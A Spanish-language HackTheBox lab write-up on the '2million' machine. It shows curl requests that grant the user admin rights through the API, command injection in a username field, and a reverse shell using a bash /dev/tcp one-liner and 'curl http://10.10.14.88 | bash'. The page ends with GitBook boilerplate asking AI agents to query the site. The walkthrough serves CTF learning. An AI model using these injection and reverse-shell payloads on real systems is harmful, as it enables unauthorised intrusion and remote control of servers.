> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/api-attack/abus-api-hackthebox.md).

# Abuso de API de HackTheBox

## Explotación de la API HACKTHEBOX

<figure><img src="/files/453e5936053a21cd0b556d6f468971e8708aba8a" alt=""><figcaption></figcaption></figure>

#### Observación de la API

Al visitar `/api`, observamos las rutas disponibles

<figure><img src="/files/2c432034f9aa03b40c1bb7ad922e55b0a95f6401" alt=""><figcaption></figcaption></figure>

#### Intento de generación de configuración VPN (fallo inicial)

```bash
curl -v -X POST /
     -H "Content-Type: application/json" /
     --cookie "session=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate

```

respuesta: no autorizado.

<figure><img src="/files/11cd0c0f57f234ed71c0f40b2e057f040e4a6839" alt=""><figcaption></figcaption></figure>

#### Modificación de nuestro rol mediante la API

<figure><img src="/files/c9113592329dbcd9ab8302e691d433b4e852a8df" alt=""><figcaption></figcaption></figure>

Probamos la modificación de parámetros de usuario con la ruta:

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update

```

> {"status":"danger","message":"Falta el parámetro: email"}

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com"}'

```

> {"status":"danger","message":"Falta el parámetro: is/\_admin"}

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com", "is_admin": 1}'

```

> respuesta:
>
> {"id":15,"username":"Jordan","is/\_admin":1}

<figure><img src="/files/30816c2a59f06679606b2affcab2f0e5cb1e18ad" alt=""><figcaption></figcaption></figure>

#### Verificación de nuestro estado de administrador

```bash
curl -s -X GET /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/auth | jq
{
  "message": true
}

```

<figure><img src="/files/8a2fc318b5ea640ecafe1ab7896b6c023a6cd171" alt="" width="563"><figcaption></figcaption></figure>

### Ejecución remota de código mediante inyección de comandos

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan@jordan.com"}'

```

<figure><img src="/files/5924fe9894521dd2101a19e2b098366f681c3605" alt=""><figcaption></figcaption></figure>

Intento de inyección de comandos en el campo `username`:

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;id #"}'

```

<figure><img src="/files/51959c24feacd4bb470acc6c3ef63da9003402a0" alt=""><figcaption></figcaption></figure>

#### Shell inversa

1. **archivos del servidor**

```bash
echo 'bash -i >& /dev/tcp/10.10.14.88/443 0>&1' > index.html
python3 -m http.server 80

```

2. **Oyente de netcat**

```bash
nc -nvlp 443

```

3. **Envío del comando**

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;curl http://10.10.14.88 | bash"}'

```

Obtenemos una shell inversa

<figure><img src="/files/7744cf90123f27166f5e9b5ce769824b7e924290" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web-vulnerabilities/api-attack/abus-api-hackthebox.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
